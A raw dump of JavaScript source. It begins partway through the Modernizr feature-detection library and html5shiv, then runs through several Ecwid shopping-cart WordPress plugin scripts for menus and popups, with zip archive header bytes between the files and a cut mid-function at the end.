1.6, but as of 2.0 will throw a warning, // and in the first release thereafter disappear entirely. tests['history'] = function() { return !!(window.history && history.pushState); }; tests['draganddrop'] = function() { var div = document.createElement('div'); return ('draggable' in div) || ('ondragstart' in div && 'ondrop' in div); }; // FF3.6 was EOL'ed on 4/24/12, but the ESR version of FF10 // will be supported until FF19 (2/12/13), at which time, ESR becomes FF17. // FF10 still uses prefixes, so check for it until then. // for more ESR info, see: mozilla.org/en-US/firefox/organizations/faq/ tests['websockets'] = function() { return 'WebSocket' in window || 'MozWebSocket' in window; }; // css-tricks.com/rgba-browser-support/ tests['rgba'] = function() { // Set an rgba() color and check the returned value setCss('background-color:rgba(150,255,150,.5)'); return contains(mStyle.backgroundColor, 'rgba'); }; tests['hsla'] = function() { // Same as rgba(), in fact, browsers re-map hsla() to rgba() internally, // except IE9 who retains it as hsla setCss('background-color:hsla(120,40%,100%,.5)'); return contains(mStyle.backgroundColor, 'rgba') || contains(mStyle.backgroundColor, 'hsla'); }; tests['multiplebgs'] = function() { // Setting multiple images AND a color on the background shorthand property // and then querying the style.background property value for the number of // occurrences of "url(" is a reliable method for detecting ACTUAL support for this! setCss('background:url(https://),url(https://),red url(https://)'); // If the UA supports multiple backgrounds, there should be three occurrences // of the string "url(" in the return value for elemStyle.background return (/(url\s*\(.*?){3}/).test(mStyle.background); }; // this will false positive in Opera Mini // github.com/Modernizr/Modernizr/issues/396 tests['backgroundsize'] = function() { return testPropsAll('backgroundSize'); }; tests['borderimage'] = function() { return testPropsAll('borderImage'); }; // Super comprehensive table about all the unique implementations of // border-radius: muddledramblings.com/table-of-css3-border-radius-compliance tests['borderradius'] = function() { return testPropsAll('borderRadius'); }; // WebOS unfortunately false positives on this test. tests['boxshadow'] = function() { return testPropsAll('boxShadow'); }; // FF3.0 will false positive on this test tests['textshadow'] = function() { return document.createElement('div').style.textShadow === ''; }; tests['opacity'] = function() { // Browsers that actually have CSS Opacity implemented have done so // according to spec, which means their return values are within the // range of [0.0,1.0] - including the leading zero. setCssAll('opacity:.55'); // The non-literal . in this regex is intentional: // German Chrome returns this value as 0,55 // github.com/Modernizr/Modernizr/issues/#issue/59/comment/516632 return (/^0.55$/).test(mStyle.opacity); }; // Note, Android < 4 will pass this test, but can only animate // a single property at a time // daneden.me/2011/12/putting-up-with-androids-bullshit/ tests['cssanimations'] = function() { return testPropsAll('animationName'); }; tests['csscolumns'] = function() { return testPropsAll('columnCount'); }; tests['cssgradients'] = function() { /** * For CSS Gradients syntax, please see: * webkit.org/blog/175/introducing-css-gradients/ * developer.mozilla.org/en/CSS/-moz-linear-gradient * developer.mozilla.org/en/CSS/-moz-radial-gradient * dev.w3.org/csswg/css3-images/#gradients- */ var str1 = 'background-image:', str2 = 'gradient(linear,left top,right bottom,from(#9f9),to(white));', str3 = 'linear-gradient(left top,#9f9, white);'; setCss( // legacy webkit syntax (FIXME: remove when syntax not in use anymore) (str1 + '-webkit- '.split(' ').join(str2 + str1) + // standard syntax // trailing 'background-image:' prefixes.join(str3 + str1)).slice(0, -str1.length) ); return contains(mStyle.backgroundImage, 'gradient'); }; tests['cssreflections'] = function() { return testPropsAll('boxReflect'); }; tests['csstransforms'] = function() { return !!testPropsAll('transform'); }; tests['csstransforms3d'] = function() { var ret = !!testPropsAll('perspective'); // Webkit's 3D transforms are passed off to the browser's own graphics renderer. // It works fine in Safari on Leopard and Snow Leopard, but not in Chrome in // some conditions. As a result, Webkit typically recognizes the syntax but // will sometimes throw a false positive, thus we must do a more thorough check: if ( ret && 'webkitPerspective' in docElement.style ) { // Webkit allows this media query to succeed only if the feature is enabled. // `@media (transform-3d),(-webkit-transform-3d){ ... }` injectElementWithStyles('@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}', function( node, rule ) { ret = node.offsetLeft === 9 && node.offsetHeight === 3; }); } return ret; }; tests['csstransitions'] = function() { return testPropsAll('transition'); }; /*>>fontface*/ // @font-face detection routine by Diego Perini // javascript.nwbox.com/CSSSupport/ // false positives: // WebOS github.com/Modernizr/Modernizr/issues/342 // WP7 github.com/Modernizr/Modernizr/issues/538 tests['fontface'] = function() { var bool; injectElementWithStyles('@font-face {font-family:"font";src:url("https://")}', function( node, rule ) { var style = document.getElementById('smodernizr'), sheet = style.sheet || style.styleSheet, cssText = sheet ? (sheet.cssRules && sheet.cssRules[0] ? sheet.cssRules[0].cssText : sheet.cssText || '') : ''; bool = /src/i.test(cssText) && cssText.indexOf(rule.split(' ')[0]) === 0; }); return bool; }; /*>>fontface*/ // CSS generated content detection tests['generatedcontent'] = function() { var bool; injectElementWithStyles(['#',mod,'{font:0/0 a}#',mod,':after{content:"',smile,'";visibility:hidden;font:3px/1 a}'].join(''), function( node ) { bool = node.offsetHeight >= 3; }); return bool; }; // These tests evaluate support of the video/audio elements, as well as // testing what types of content they support. // // We're using the Boolean constructor here, so that we can extend the value // e.g. Modernizr.video // true // Modernizr.video.ogg // 'probably' // // Codec values from : github.com/NielsLeenheer/html5test/blob/9106a8/index.html#L845 // thx to NielsLeenheer and zcorpan // Note: in some older browsers, "no" was a return value instead of empty string. // It was live in FF3.5.0 and 3.5.1, but fixed in 3.5.2 // It was also live in Safari 4.0.0 - 4.0.4, but fixed in 4.0.5 tests['video'] = function() { var elem = document.createElement('video'), bool = false; // IE9 Running on Windows Server SKU can cause an exception to be thrown, bug #224 try { if ( bool = !!elem.canPlayType ) { bool = new Boolean(bool); bool.ogg = elem.canPlayType('video/ogg; codecs="theora"') .replace(/^no$/,''); // Without QuickTime, this value will be `undefined`. github.com/Modernizr/Modernizr/issues/546 bool.h264 = elem.canPlayType('video/mp4; codecs="avc1.42E01E"') .replace(/^no$/,''); bool.webm = elem.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,''); } } catch(e) { } return bool; }; tests['audio'] = function() { var elem = document.createElement('audio'), bool = false; try { if ( bool = !!elem.canPlayType ) { bool = new Boolean(bool); bool.ogg = elem.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,''); bool.mp3 = elem.canPlayType('audio/mpeg;') .replace(/^no$/,''); // Mimetypes accepted: // developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements // bit.ly/iphoneoscodecs bool.wav = elem.canPlayType('audio/wav; codecs="1"') .replace(/^no$/,''); bool.m4a = ( elem.canPlayType('audio/x-m4a;') || elem.canPlayType('audio/aac;')) .replace(/^no$/,''); } } catch(e) { } return bool; }; // In FF4, if disabled, window.localStorage should === null. // Normally, we could not test that directly and need to do a // `('localStorage' in window) && ` test first because otherwise Firefox will // throw bugzil.la/365772 if cookies are disabled // Also in iOS5 Private Browsing mode, attempting to use localStorage.setItem // will throw the exception: // QUOTA_EXCEEDED_ERRROR DOM Exception 22. // Peculiarly, getItem and removeItem calls do not throw. // Because we are forced to try/catch this, we'll go aggressive. // Just FWIW: IE8 Compat mode supports these features completely: // www.quirksmode.org/dom/html5.html // But IE8 doesn't support either with local files tests['localstorage'] = function() { try { localStorage.setItem(mod, mod); localStorage.removeItem(mod); return true; } catch(e) { return false; } }; tests['sessionstorage'] = function() { try { sessionStorage.setItem(mod, mod); sessionStorage.removeItem(mod); return true; } catch(e) { return false; } }; tests['webworkers'] = function() { return !!window.Worker; }; tests['applicationcache'] = function() { return !!window.applicationCache; }; // Thanks to Erik Dahlstrom tests['svg'] = function() { return !!document.createElementNS && !!document.createElementNS(ns.svg, 'svg').createSVGRect; }; // specifically for SVG inline in HTML, not within XHTML // test page: paulirish.com/demo/inline-svg tests['inlinesvg'] = function() { var div = document.createElement('div'); div.innerHTML = '<svg/>'; return (div.firstChild && div.firstChild.namespaceURI) == ns.svg; }; // SVG SMIL animation tests['smil'] = function() { return !!document.createElementNS && /SVGAnimate/.test(toString.call(document.createElementNS(ns.svg, 'animate'))); }; // This test is only for clip paths in SVG proper, not clip paths on HTML content // demo: srufaculty.sru.edu/david.dailey/svg/newstuff/clipPath4.svg // However read the comments to dig into applying SVG clippaths to HTML content here: // github.com/Modernizr/Modernizr/issues/213#issuecomment-1149491 tests['svgclippaths'] = function() { return !!document.createElementNS && /SVGClipPath/.test(toString.call(document.createElementNS(ns.svg, 'clipPath'))); }; /*>>webforms*/ // input features and input types go directly onto the ret object, bypassing the tests loop. // Hold this guy to execute in a moment. function webforms() { /*>>input*/ // Run through HTML5's new input attributes to see if the UA understands any. // We're using f which is the <input> element created early on // Mike Taylr has created a comprehensive resource for testing these attributes // when applied to all input types: // miketaylr.com/code/input-type-attr.html // spec: www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary // Only input placeholder is tested while textarea's placeholder is not. // Currently Safari 4 and Opera 11 have support only for the input placeholder // Both tests are available in feature-detects/forms-placeholder.js Modernizr['input'] = (function( props ) { for ( var i = 0, len = props.length; i < len; i++ ) { attrs[ props[i] ] = !!(props[i] in inputElem); } if (attrs.list){ // safari false positive's on datalist: webk.it/74252 // see also github.com/Modernizr/Modernizr/issues/146 attrs.list = !!(document.createElement('datalist') && window.HTMLDataListElement); } return attrs; })('autocomplete autofocus list placeholder max min multiple pattern required step'.split(' ')); /*>>input*/ /*>>inputtypes*/ // Run through HTML5's new input types to see if the UA understands any. // This is put behind the tests runloop because it doesn't return a // true/false like all the other tests; instead, it returns an object // containing each input type with its corresponding true/false value // Big thanks to @miketaylr for the html5 forms expertise. miketaylr.com/ Modernizr['inputtypes'] = (function(props) { for ( var i = 0, bool, inputElemType, defaultView, len = props.length; i < len; i++ ) { inputElem.setAttribute('type', inputElemType = props[i]); bool = inputElem.type !== 'text'; // We first check to see if the type we give it sticks.. // If the type does, we feed it a textual value, which shouldn't be valid. // If the value doesn't stick, we know there's input sanitization which infers a custom UI if ( bool ) { inputElem.value = smile; inputElem.style.cssText = 'position:absolute;visibility:hidden;'; if ( /^range$/.test(inputElemType) && inputElem.style.WebkitAppearance !== undefined ) { docElement.appendChild(inputElem); defaultView = document.defaultView; // Safari 2-4 allows the smiley as a value, despite making a slider bool = defaultView.getComputedStyle && defaultView.getComputedStyle(inputElem, null).WebkitAppearance !== 'textfield' && // Mobile android web browser has false positive, so must // check the height to see if the widget is actually there. (inputElem.offsetHeight !== 0); docElement.removeChild(inputElem); } else if ( /^(search|tel)$/.test(inputElemType) ){ // Spec doesn't define any special parsing or detectable UI // behaviors so we pass these through as true // Interestingly, opera fails the earlier test, so it doesn't // even make it here. } else if ( /^(url|email)$/.test(inputElemType) ) { // Real url and email support comes with prebaked validation. bool = inputElem.checkValidity && inputElem.checkValidity() === false; } else { // If the upgraded input compontent rejects the :) text, we got a winner bool = inputElem.value != smile; } } inputs[ props[i] ] = !!bool; } return inputs; })('search tel url email datetime date month week time datetime-local number range color'.split(' ')); /*>>inputtypes*/ } /*>>webforms*/ // End of test definitions // ----------------------- // Run through all tests and detect their support in the current UA. // todo: hypothetically we could be doing an array of tests and use a basic loop here. for ( var feature in tests ) { if ( hasOwnProp(tests, feature) ) { // run the test, throw the return value into the Modernizr, // then based on that boolean, define an appropriate className // and push it into an array of classes we'll join later. featureName = feature.toLowerCase(); Modernizr[featureName] = tests[feature](); classes.push((Modernizr[featureName] ? '' : 'no-') + featureName); } } /*>>webforms*/ // input tests need to run. Modernizr.input || webforms(); /*>>webforms*/ /** * addTest allows the user to define their own feature tests * the result will be added onto the Modernizr object, * as well as an appropriate className set on the html element * * @param feature - String naming the feature * @param test - Function returning true if feature is supported, false if not */ Modernizr.addTest = function ( feature, test ) { if ( typeof feature == 'object' ) { for ( var key in feature ) { if ( hasOwnProp( feature, key ) ) { Modernizr.addTest( key, feature[ key ] ); } } } else { feature = feature.toLowerCase(); if ( Modernizr[feature] !== undefined ) { // we're going to quit if you're trying to overwrite an existing test // if we were to allow it, we'd do this: // var re = new RegExp("\\b(no-)?" + feature + "\\b"); // docElement.className = docElement.className.replace( re, '' ); // but, no rly, stuff 'em. return Modernizr; } test = typeof test == 'function' ? test() : test; if (typeof enableClasses !== "undefined" && enableClasses) { docElement.className += ' ' + (test ? '' : 'no-') + feature; } Modernizr[feature] = test; } return Modernizr; // allow chaining. }; // Reset modElem.cssText to nothing to reduce memory footprint. setCss(''); modElem = inputElem = null; /*>>shiv*/ /** * @preserve HTML5 Shiv prev3.7.1 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed */ ;(function(window, document) { /*jshint evil:true */ /** version */ var version = '3.7.0'; /** Preset options */ var options = window.html5 || {}; /** Used to skip problem elements */ var reSkip = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i; /** Not all elements can be cloned in IE **/ var saveClones = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i; /** Detect whether the browser supports default html5 styles */ var supportsHtml5Styles; /** Name of the expando, to work with multiple documents or to re-shiv one document */ var expando = '_html5shiv'; /** The id for the the documents expando */ var expanID = 0; /** Cached data for each document */ var expandoData = {}; /** Detect whether the browser supports unknown elements */ var supportsUnknownElements; (function() { try { var a = document.createElement('a'); a.innerHTML = '<xyz></xyz>'; //if the hidden property is implemented we can assume, that the browser supports basic HTML5 Styles supportsHtml5Styles = ('hidden' in a); supportsUnknownElements = a.childNodes.length == 1 || (function() { // assign a false positive if unable to shiv (document.createElement)('a'); var frag = document.createDocumentFragment(); return ( typeof frag.cloneNode == 'undefined' || typeof frag.createDocumentFragment == 'undefined' || typeof frag.createElement == 'undefined' ); }()); } catch(e) { // assign a false positive if detection fails => unable to shiv supportsHtml5Styles = true; supportsUnknownElements = true; } }()); /*--------------------------------------------------------------------------*/ /** * Creates a style sheet with the given CSS text and adds it to the document. * @private * @param {Document} ownerDocument The document. * @param {String} cssText The CSS text. * @returns {StyleSheet} The style element. */ function addStyleSheet(ownerDocument, cssText) { var p = ownerDocument.createElement('p'), parent = ownerDocument.getElementsByTagName('head')[0] || ownerDocument.documentElement; p.innerHTML = 'x<style>' + cssText + '</style>'; return parent.insertBefore(p.lastChild, parent.firstChild); } /** * Returns the value of `html5.elements` as an array. * @private * @returns {Array} An array of shived element node names. */ function getElements() { var elements = html5.elements; return typeof elements == 'string' ? elements.split(' ') : elements; } /** * Returns the data associated to the given document * @private * @param {Document} ownerDocument The document. * @returns {Object} An object of data. */ function getExpandoData(ownerDocument) { var data = expandoData[ownerDocument[expando]]; if (!data) { data = {}; expanID++; ownerDocument[expando] = expanID; expandoData[expanID] = data; } return data; } /** * returns a shived element for the given nodeName and document * @memberOf html5 * @param {String} nodeName name of the element * @param {Document} ownerDocument The context document. * @returns {Object} The shived element. */ function createElement(nodeName, ownerDocument, data){ if (!ownerDocument) { ownerDocument = document; } if(supportsUnknownElements){ return ownerDocument.createElement(nodeName); } if (!data) { data = getExpandoData(ownerDocument); } var node; if (data.cache[nodeName]) { node = data.cache[nodeName].cloneNode(); } else if (saveClones.test(nodeName)) { node = (data.cache[nodeName] = data.createElem(nodeName)).cloneNode(); } else { node = data.createElem(nodeName); } // Avoid adding some elements to fragments in IE < 9 because // * Attributes like `name` or `type` cannot be set/changed once an element // is inserted into a document/fragment // * Link elements with `src` attributes that are inaccessible, as with // a 403 response, will cause the tab/window to crash // * Script elements appended to fragments will execute when their `src` // or `text` property is set return node.canHaveChildren && !reSkip.test(nodeName) && !node.tagUrn ? data.frag.appendChild(node) : node; } /** * returns a shived DocumentFragment for the given document * @memberOf html5 * @param {Document} ownerDocument The context document. * @returns {Object} The shived DocumentFragment. */ function createDocumentFragment(ownerDocument, data){ if (!ownerDocument) { ownerDocument = document; } if(supportsUnknownElements){ return ownerDocument.createDocumentFragment(); } data = data || getExpandoData(ownerDocument); var clone = data.frag.cloneNode(), i = 0, elems = getElements(), l = elems.length; for(;i<l;i++){ clone.createElement(elems[i]); } return clone; } /** * Shivs the `createElement` and `createDocumentFragment` methods of the document. * @private * @param {Document|DocumentFragment} ownerDocument The document. * @param {Object} data of the document. */ function shivMethods(ownerDocument, data) { if (!data.cache) { data.cache = {}; data.createElem = ownerDocument.createElement; data.createFrag = ownerDocument.createDocumentFragment; data.frag = data.createFrag(); } ownerDocument.createElement = function(nodeName) { //abort shiv if (!html5.shivMethods) { return data.createElem(nodeName); } return createElement(nodeName, ownerDocument, data); }; ownerDocument.createDocumentFragment = Function('h,f', 'return function(){' + 'var n=f.cloneNode(),c=n.createElement;' + 'h.shivMethods&&(' + // unroll the `createElement` calls getElements().join().replace(/[\w\-]+/g, function(nodeName) { data.createElem(nodeName); data.frag.createElement(nodeName); return 'c("' + nodeName + '")'; }) + ');return n}' )(html5, data.frag); } /*--------------------------------------------------------------------------*/ /** * Shivs the given document. * @memberOf html5 * @param {Document} ownerDocument The document to shiv. * @returns {Document} The shived document. */ function shivDocument(ownerDocument) { if (!ownerDocument) { ownerDocument = document; } var data = getExpandoData(ownerDocument); if (html5.shivCSS && !supportsHtml5Styles && !data.hasCSS) { data.hasCSS = !!addStyleSheet(ownerDocument, // corrects block display not defined in IE6/7/8/9 'article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}' + // adds styling not present in IE6/7/8/9 'mark{background:#FF0;color:#000}' + // hides non-rendered elements 'template{display:none}' ); } if (!supportsUnknownElements) { shivMethods(ownerDocument, data); } return ownerDocument; } /*--------------------------------------------------------------------------*/ /** * The `html5` object is exposed so that more elements can be shived and * existing shiving can be detected on iframes. * @type Object * @example * * // options can be changed before the script is included * html5 = { 'elements': 'mark section', 'shivCSS': false, 'shivMethods': false }; */ var html5 = { /** * An array or space separated string of node names of the elements to shiv. * @memberOf html5 * @type Array|String */ 'elements': options.elements || 'abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video', /** * current version of html5shiv */ 'version': version, /** * A flag to indicate that the HTML5 style sheet should be inserted. * @memberOf html5 * @type Boolean */ 'shivCSS': (options.shivCSS !== false), /** * Is equal to true if a browser supports creating unknown/HTML5 elements * @memberOf html5 * @type boolean */ 'supportsUnknownElements': supportsUnknownElements, /** * A flag to indicate that the document's `createElement` and `createDocumentFragment` * methods should be overwritten. * @memberOf html5 * @type Boolean */ 'shivMethods': (options.shivMethods !== false), /** * A string to describe the type of `html5` object ("default" or "default print"). * @memberOf html5 * @type String */ 'type': 'default', // shivs the document according to the specified `html5` object options 'shivDocument': shivDocument, //creates a shived element createElement: createElement, //creates a shived documentFragment createDocumentFragment: createDocumentFragment }; /*--------------------------------------------------------------------------*/ // expose html5 window.html5 = html5; // shiv the document shivDocument(document); }(this, document)); /*>>shiv*/ // Assign private properties to the return object with prefix Modernizr._version = version; // expose these for the plugin API. Look in the source for how to join() them against your input /*>>prefixes*/ Modernizr._prefixes = prefixes; /*>>prefixes*/ /*>>domprefixes*/ Modernizr._domPrefixes = domPrefixes; Modernizr._cssomPrefixes = cssomPrefixes; /*>>domprefixes*/ /*>>mq*/ // Modernizr.mq tests a given media query, live against the current state of the window // A few important notes: // * If a browser does not support media queries at all (eg. oldIE) the mq() will always return false // * A max-width or orientation query will be evaluated against the current state, which may change later. // * You must specify values. Eg. If you are testing support for the min-width media query use: // Modernizr.mq('(min-width:0)') // usage: // Modernizr.mq('only screen and (max-width:768)') Modernizr.mq = testMediaQuery; /*>>mq*/ /*>>hasevent*/ // Modernizr.hasEvent() detects support for a given event, with an optional element to test on // Modernizr.hasEvent('gesturestart', elem) Modernizr.hasEvent = isEventSupported; /*>>hasevent*/ /*>>testprop*/ // Modernizr.testProp() investigates whether a given style property is recognized // Note that the property names must be provided in the camelCase variant. // Modernizr.testProp('pointerEvents') Modernizr.testProp = function(prop){ return testProps([prop]); }; /*>>testprop*/ /*>>testallprops*/ // Modernizr.testAllProps() investigates whether a given style property, // or any of its vendor-prefixed variants, is recognized // Note that the property names must be provided in the camelCase variant. // Modernizr.testAllProps('boxSizing') Modernizr.testAllProps = testPropsAll; /*>>testallprops*/ /*>>teststyles*/ // Modernizr.testStyles() allows you to add custom styles to the document and test an element afterwards // Modernizr.testStyles('#modernizr { position:absolute }', function(elem, rule){ ... }) Modernizr.testStyles = injectElementWithStyles; /*>>teststyles*/ /*>>prefixed*/ // Modernizr.prefixed() returns the prefixed or nonprefixed property name variant of your input // Modernizr.prefixed('boxSizing') // 'MozBoxSizing' // Properties must be passed as dom-style camelcase, rather than `box-sizing` hypentated style. // Return values will also be the camelCase variant, if you need to translate that to hypenated style use: // // str.replace(/([A-Z])/g, function(str,m1){ return '-' + m1.toLowerCase(); }).replace(/^ms-/,'-ms-'); // If you're trying to ascertain which transition end event to bind to, you might do something like... // // var transEndEventNames = { // 'WebkitTransition' : 'webkitTransitionEnd', // 'MozTransition' : 'transitionend', // 'OTransition' : 'oTransitionEnd', // 'msTransition' : 'MSTransitionEnd', // 'transition' : 'transitionend' // }, // transEndEventName = transEndEventNames[ Modernizr.prefixed('transition') ]; Modernizr.prefixed = function(prop, obj, elem){ if(!obj) { return testPropsAll(prop, 'pfx'); } else { // Testing DOM property e.g. Modernizr.prefixed('requestAnimationFrame', window) // 'mozRequestAnimationFrame' return testPropsAll(prop, obj, elem); } }; /*>>prefixed*/ /*>>cssclasses*/ // Remove "no-js" class from <html> element, if it exists: docElement.className = docElement.className.replace(/(^|\s)no-js(\s|$)/, '$1$2') + // Add the new classes to the <html> element. (enableClasses ? ' js ' + classes.join(' ') : ''); /*>>cssclasses*/ return Modernizr; })(this, this.document); PK������Ê—[®ßdºú ��ú ��+��ecwid-shopping-cart/js/nav-menu-frontend.jsnu�„[µü¤��������jQuery(document).ready(function() { if (typeof Ecwid == 'undefined') return; refreshEcwidMenuItemsSelection(); Ecwid.OnPageLoaded.add(function(page) { if (page.type == 'CART') { window.ecwidCurrentMenuPage = 'cart'; } else if (page.type == 'ACCOUNT_SETTINGS' || page.type == 'ORDERS' || page.type == 'ADDRESS_BOOK') { window.ecwidCurrentMenuPage = 'my-account'; } else if (page.type == 'SEARCH') { window.ecwidCurrentMenuPage = 'product-search'; } else { window.ecwidCurrentMenuPage = 'store'; } }); Ecwid.OnPageLoaded.add(refreshEcwidMenuItemsSelection); function refreshEcwidMenuItemsSelection(page) { $allMenus = jQuery('ul').has('li.menu-item'); $allMenus.each(function (idx, el) { var current = findCurrentEcwidMenuItem(el, page); if (current) { highlightCurrentMenuItem(el, current); } }); } function highlightCurrentMenuItem(menu, item) { jQuery('.current_page_item', menu).removeClass('current_page_item'); jQuery('.current-menu-item', menu).removeClass('current-menu-item'); item.addClass('current-menu-item current_page_item'); } function findCurrentEcwidMenuItem(menuElement, page) { if (page) { var endswith = null; if (page.type == 'CATEGORY') { if (page.categoryId == 0) { endswith = ''; } else { endswith = 'c' + page.categoryId; } }else if (page.type == 'PRODUCT') { endswith = 'p' + page.productId; } if (endswith != null) { if (endswith == '') { endswith = ec.config.baseUrl; } var selector = '>li a[href*="' + ec.config.baseUrl + '"]'; var exactCatalogPage = jQuery('>li a[href$="' + endswith + '"][href*="' + ec.config.baseUrl + '"]', menuElement).closest('li'); if (exactCatalogPage.length > 0) { return exactCatalogPage; } } } var specificMenuItem = findSpecificMenuItem(menuElement); if (specificMenuItem) { return specificMenuItem; } var storeMenuItem = findStoreMenuItem(menuElement); if (storeMenuItem) { return storeMenuItem; } return null; } function findSpecificMenuItem(menuElement) { var currentPage = getCurrentEcwidPage(); var currentMenuItem = null; if (['my-account', 'product-search', 'cart'].indexOf(currentPage) != -1) { currentMenuItem = jQuery('>li.menu-item-object-' + ecwid_menu_data.items['ecwid-' + currentPage]['classes'], menuElement); if (currentMenuItem.length > 0) { return currentMenuItem; } } return null; } function findStoreMenuItem(menuElement) { var currentMenuItem = null; var storeItems = ['ecwid-store', 'ecwid-store-with-categories']; for (var i = 0; i < storeItems.length; i++) { currentMenuItem = jQuery('>li.menu-item-object-' + ecwid_menu_data.items[storeItems[i]]['classes'], menuElement); if (currentMenuItem.length > 0) { return currentMenuItem; } } return null; } function getCurrentEcwidPage() { if (!window.ecwidCurrentMenuPage) { window.ecwidCurrentMenuPage = 'store'; } return window.ecwidCurrentMenuPage; } })PK������Ê—[§qqc¹ ��¹ ��"��ecwid-shopping-cart/js/nav-menu.jsnu�„[µü¤��������jQuery(document).ready(function() { var ecwidClasses = {}; for (var i in ecwid_nav_menu_params.items) { ecwidClasses[i] = ecwid_nav_menu_params.items[i].name; } if (ecwid_nav_menu_params.first_run && jQuery('#ecwid_nav_links-hide:checked').length == 0) { jQuery('#ecwid_nav_links-hide').click(); } processEcwidLinks = function(element) { var ecwidLink = findEcwidLink(element); if (!findEcwidLink(element)) return; if (jQuery(element).hasClass('ecwid-link')) return; jQuery(element).addClass('ecwid-link'); jQuery(element).find('.item-type').text(ecwid_nav_menu_params.store_page); if (isStoreWithCategories(element)) { var $message = jQuery('<p>') .addClass('ecwid-store-with-cats-message') .text(ecwid_nav_menu_params.reset_cache_message) .insertAfter(jQuery('.field-move', element)); $target = jQuery('<p class="ecwid-store-with-cats-reset-cache">').insertAfter($message); jQuery('<span>') .text(ecwid_nav_menu_params.cache_updated) .addClass('ecwid-reset-categories-cache-updated') .appendTo($target); jQuery('<a>') .text(ecwid_nav_menu_params.reset_cats_cache) .attr('href', 'javascript:void(0);') .addClass('ecwid-reset-categories-cache') .appendTo($target) .click(function() { var that = this; jQuery(this).css('cursor', 'wait'); resetCache(function() { jQuery(that).fadeOut(100, function() { jQuery(that).prev('.ecwid-reset-categories-cache-updated').fadeIn(100, function() { setTimeout(function () { jQuery(that).prev('.ecwid-reset-categories-cache-updated').fadeOut(500, function () { jQuery(that).fadeIn(500); }) }, 4000); }); }); jQuery(that).css('cursor', 'pointer'); }); }); } } findEcwidLink = function(element) { for (var i in ecwidClasses) { if (jQuery(element).hasClass('menu-item-' + i)) { return i; } } return false; } isStoreWithCategories = function(element) { return jQuery(element).hasClass('menu-item-ecwid-store-with-categories'); } resetCache = function(callback) { jQuery.getJSON( 'admin-ajax.php', { action: 'ecwid_reset_categories_cache' }, callback ); } jQuery('ul.menu > li.menu-item').each(function(idx, el) { processEcwidLinks(el); }); jQuery('#ecwid_nav_links').insertAfter(jQuery('#add-page')); jQuery('#menu-to-edit').on('DOMNodeInserted', function(e) { if (!jQuery(e.srcElement).hasClass('menu-item')) return; processEcwidLinks(e.srcElement); }); });PK������Ê—[}k[ɧ��§��*��ecwid-shopping-cart/js/popup-deactivate.jsnu�„[µü¤��������jQuery(document).ready(function() { var deactivateButton = jQuery('tr[data-slug="ecwid-shopping-cart"] .deactivate a'); jQuery('input[name=reason]').click(function() { jQuery('.reasons-list-item').removeClass('selected'); jQuery(this).closest('.reasons-list-item').addClass('selected'); }); deactivateButton.click(function() { jQuery('.ecwid-popup-deactivate').addClass('open'); jQuery('body').addClass('ecwid-popup-open'); return false; }); function gatherFeedback() { var feedback = {}; var reasonElement = jQuery('.ecwid-popup-deactivate input[name=reason]:checked'); feedback.reason = reasonElement.val(); feedback.reasonText = reasonElement.attr('data-text'); feedback.message = jQuery('.ecwid-popup-deactivate textarea[name="message[' + feedback.reason + ']"]').val(); return feedback; } jQuery('.ecwid-popup-deactivate .deactivate').click(function() { feedback = gatherFeedback(); jQuery.ajax({ url: wp.ajax.settings.url, data: { action: 'ecwid_deactivate_feedback', reason: feedback.reason, message: feedback.message }, complete: function() { location.href = deactivateButton.attr('href'); } }); }); jQuery('.ecwid-popup-deactivate .bottom-support-link a').click(function() { var feedback = gatherFeedback(); var target = 'admin.php?page=ec-store-help'; if (feedback.reasonText) target += '&contact_us_subject=' + encodeURIComponent(feedback.reasonText); if (feedback.message) target += '&contact_us_message=' + encodeURIComponent(feedback.message); location.href = target; return false; }); });PK������Ê—[ËÁ×å$��$����ecwid-shopping-cart/js/popup.jsnu�„[µü¤��������jQuery('document').ready(function() { jQuery('.ecwid-popup').click(function(e) { var $popup = jQuery('.ecwid-popup-window', this); if (!$popup.is(e.target) && $popup.has(e.target).length === 0) { jQuery(this).removeClass('open'); jQuery('body').removeClass('ecwid-popup-open'); } }); jQuery('.ecwid-popup .btn-close').click(function() { jQuery(this).closest('.ecwid-popup').removeClass('open'); jQuery('body').removeClass('ecwid-popup-open'); }); });PK������Ê—[LK\ Ú���Ú���&��ecwid-shopping-cart/js/post-product.jsnu�„[µü¤��������if (typeof Ecwid != 'undefined') { Ecwid.OnPageLoad.add(function(page) { if ( page.type != 'PRODUCT' || page.productId != ecwidPost.productId ) { location.href = ecwidPost.storePageUrl + location.hash; } }); }PK������Ê—[ü|‡O;N��;N��'��ecwid-shopping-cart/js/product-popup.jsnu�„[µü¤��������jQuery(document).ready(function() { if ( typeof wp !== 'undefined' && typeof wp.blocks !== 'undefined' ) { jQuery('#ecwid-product-popup-content').addClass('ec-store-gutenberg'); } var popup = function() { return jQuery('#ecwid-product-popup-content'); }; popup().data( 'defaultSortBy', 'ADDED_TIME_DESC' ); jQuery(document).on('click', '#insert-ecwid-product-button', function() { openPopup(); return false; }); openPopup = function() { if (ecwidSpwParams && typeof ecwidSpwParams.no_token != 'undefined') { location.href='admin.php?page=ec-store&reconnect&reason=spw'; return false; } changeTab('add-product'); populateWidgetParams(); setSearchParams({}); if (getInitialSearchData()) { buildProductsTable(getInitialSearchData()); } else { updateSearchParams(); } setSelectedProduct(null); if (popup().data('params')) { var props = popup().data('params').props.attributes; if (props.id) { setSelectedProduct( { 'id': props.id } ); } changeMode('selected-product'); } if ( !getSelectedProduct() ) { changeMode('add-product'); } popup().addClass('open'); } popup().data('openPopup', openPopup); jQuery(document).keydown(function(e) { if (e.keyCode == 27 && popup().hasClass('open')) { popup().removeClass('open'); return false; } }); jQuery('.media-modal-close', popup()).click(function() { popup().removeClass('open'); }); jQuery('.toolbar-link', popup()).click(function() { changeTab(jQuery(this).data('content')); return false; }) var populateWidgetParams = function() { var params; 